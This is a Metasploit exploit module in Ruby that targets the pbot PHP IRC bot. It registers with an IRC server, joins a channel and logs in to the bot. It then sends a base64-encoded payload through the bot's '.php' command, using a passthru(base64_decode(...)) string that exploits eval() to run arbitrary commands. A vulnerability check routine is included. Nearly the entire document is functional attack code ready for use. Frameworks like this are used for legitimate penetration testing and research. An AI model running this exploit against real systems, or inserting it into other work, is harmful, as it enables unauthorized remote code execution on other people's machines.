##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'PHP IRC Bot pbot eval() Remote Code Execution',
        'Description' => %q{
          This module allows remote command execution on the PHP IRC bot pbot by abusing
          the usage of eval() in the implementation of the .php command. In order to work,
          the data to connect to the IRC server and channel where find pbot must be provided.
          The module has been successfully tested on the version of pbot analyzed by Jay
          Turla, and published on Infosec Institute, running over Ubuntu 10.04 and Windows XP
          SP3.
        },
        'Author' => [
          'evilcry', # pbot analysis'
          'Jay Turla', # pbot analysis
          'bwall', # aka @bwallHatesTwits, PoC
          'juan vazquez' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'OSVDB', '84913' ],
          [ 'EDB', '20168' ],
          [ 'URL', 'http://resources.infosecinstitute.com/pbot-analysis/']
        ],
        'Platform' => %w{unix win},
        'Arch' => ARCH_CMD,
        'Payload' => {
          'Space' => 344, # According to RFC 2812, the max length message is 512, including the cr-lf
          'BadChars' => '',
          'DisableNops' => true,
          'Compat' =>
                        {
                          'PayloadType' => 'cmd',
                        }
        },
        'Targets' => [
          [ 'pbot', {} ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2009-11-02',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(6667),
        OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),
        OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),
        OptString.new('CHANNEL', [true, 'IRC Channel', '#channel']),
        OptString.new('PBOT_PASSWORD', [false, 'pbot Password', ''])
      ]
    )
  end

  def post_auth?
    true
  end

  def check
    connect

    response = register(sock)
    if response =~ /463/ or response =~ /464/
      vprint_error("#{Rex::Socket.to_authority(rhost, rport)} - Connection to the IRC Server not allowed")
      return Exploit::CheckCode::Unknown('Connection to the IRC server not allowed')
    end

    response = join(sock)
    if not response =~ /353/ and not response =~ /366/
      vprint_error("#{Rex::Socket.to_authority(rhost, rport)} - Error joining the #{datastore['CHANNEL']} channel")
      return Exploit::CheckCode::Unknown('Connection failed')
    end
    response = pbot_login(sock)
    quit(sock)
    disconnect

    if response =~ /auth/ and response =~ /logged in/
      return Exploit::CheckCode::Vulnerable('Bot responded with auth and logged in confirmation')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end

  def send_msg(sock, data)
    sock.put(data)
    data = ""
    begin
      read_data = sock.get_once(-1, 1)
      while not read_data.nil?
        data << read_data
        read_data = sock.get_once(-1, 1)
      end
    rescue EOFError
    end
    data
  end

  def register(sock)
    msg = ""

    if datastore['IRC_PASSWORD'] and not datastore['IRC_PASSWORD'].empty?
      msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"
    end

    if datastore['NICK'].length > 9
      nick = rand_text_alpha(9)
      print_error("The nick is longer than 9 characters, using #{nick}")
    else
      nick = datastore['NICK']
    end

    msg << "NICK #{nick}\r\n"
    msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"

    response = send_msg(sock, msg)
    return response
  end

  def join(sock)
    join_msg = "JOIN #{datastore['CHANNEL']}\r\n"
    response = send_msg(sock, join_msg)
    return response
  end

  def pbot_login(sock)
    login_msg = "PRIVMSG #{datastore['CHANNEL']} :.login"
    if datastore['PBOT_PASSWORD'] and not datastore['PBOT_PASSWORD'].empty?
      login_msg << " #{datastore['PBOT_PASSWORD']}"
    end
    login_msg << "\r\n"
    response = send_msg(sock, login_msg)
    return response
  end

  def pbot_command(sock)
    encoded = Rex::Text.encode_base64(payload.encoded)
    command_msg = "PRIVMSG #{datastore['CHANNEL']} :.php #{rand_text_alpha(1)} passthru(base64_decode(\"#{encoded}\"));\r\n"
    response = send_msg(sock, command_msg)
    return response
  end

  def quit(sock)
    quit_msg = "QUIT :bye bye\r\n"
    sock.put(quit_msg)
  end

  def exploit
    connect

    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Registering with the IRC Server...")
    response = register(sock)
    if response =~ /463/ or response =~ /464/
      print_error("#{Rex::Socket.to_authority(rhost, rport)} - Connection to the IRC Server not allowed")
      return
    end

    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Joining the #{datastore['CHANNEL']} channel...")
    response = join(sock)
    if not response =~ /353/ and not response =~ /366/
      print_error("#{Rex::Socket.to_authority(rhost, rport)} - Error joining the #{datastore['CHANNEL']} channel")
      return
    end

    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Registering with the pbot...")
    response = pbot_login(sock)
    if not response =~ /auth/ or not response =~ /logged in/
      print_error("#{Rex::Socket.to_authority(rhost, rport)} - Error registering with the pbot")
      return
    end

    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Exploiting the pbot...")
    pbot_command(sock)

    quit(sock)
    disconnect
  end
end
